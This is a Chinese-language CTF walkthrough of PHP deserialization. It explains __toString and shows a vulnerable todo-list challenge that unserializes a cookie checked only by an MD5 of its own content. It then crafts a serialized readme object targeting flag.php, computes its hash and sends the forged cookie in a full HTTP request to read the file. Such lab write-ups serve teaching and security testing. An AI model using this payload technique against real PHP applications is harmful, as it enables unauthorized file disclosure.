- 序列化简介
本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。
当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
2.__toString介绍
__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法 以下说明摘自PHP官方手册
public string __toString ( void )
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
Warning
不能在 __toString() 方法中抛出异常。这么做会导致致命错误。
Example #2 简单示例
<?php
// Declare a simple class
class TestClass
{
public $foo;
public function __construct($foo)
{
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class;
?>
3.ctf实例
<?php
Class
readme
{
public function __toString
()
{
return highlight_file
(
'Readme.txt'
,
true
).
highlight_file
(
$this
->
source
,
true
);
}
}
if(isset($_GET
[
'source'
])){
$s
= new
readme
();
$s
->
source
=
__FILE__
;
echo $s
;
exit;
} //$todos = [];
if(isset(
$_COOKIE
[
'todos'
])){
$c
=
$_COOKIE
[
'todos'
];
$h
=
substr
(
$c
,
0
,
32
);
$m
=
substr
(
$c
,
32
);
if(md5
(
$m
) ===
$h
){
$todos
=
unserialize
(
$m
);
}
}
if(isset($_POST
[
'text'
])){
$todo
=
$_POST
[
'text'
];
$todos
[] =
$todo
;
$m
=
serialize
(
$todos
);
$h
=
md5
(
$m
);
setcookie
(
'todos'
,
$h
.
$m
);
header
(
'Location: '
.
$_SERVER
[
'REQUEST_URI'
]);
exit;
} ?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul> <?php
foreach(
$todos
as
$todo
):
?>
<li>
<?=$todo?>
</li>
<?php
endforeach;
?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
4.测试过程
4.1片段代码进行测试
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = 'flag.php';
echo $s;
exit;
}
看到可以读取到内容
4.2 测试判断
if(isset(
$_COOKIE
[
'todos'
])){
$c
=
$_COOKIE
[
'todos'
];
$h
=
substr
(
$c
,
0
,
32
);
$m
=
substr
(
$c
,
32
);
if(md5
(
$m
) ===
$h
){
$todos
=
unserialize
(
$m
);
}
}
判断cookie 是否存在todos 存在值即进行字符截取
$h 从开始到32 截取
$m 取32长度之后的内容
如果md5加密与$h全等于则 执行 $todos
=
unserialize
(
$m
);
这段进行md5加密 a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
http://burp/repeat/1/uflp3bvlou3mvwuvck1wnae10h3awlhh
请求包
GET /ctf/demo/toString.php HTTP/1.1
Host: www.test1.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
cookie: todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a{i%3a0%3bO%3a6%3a"readme"%3a1%3a{s%3a6%3a"source"%3bs%3a8%3a"flag.php"%3b}}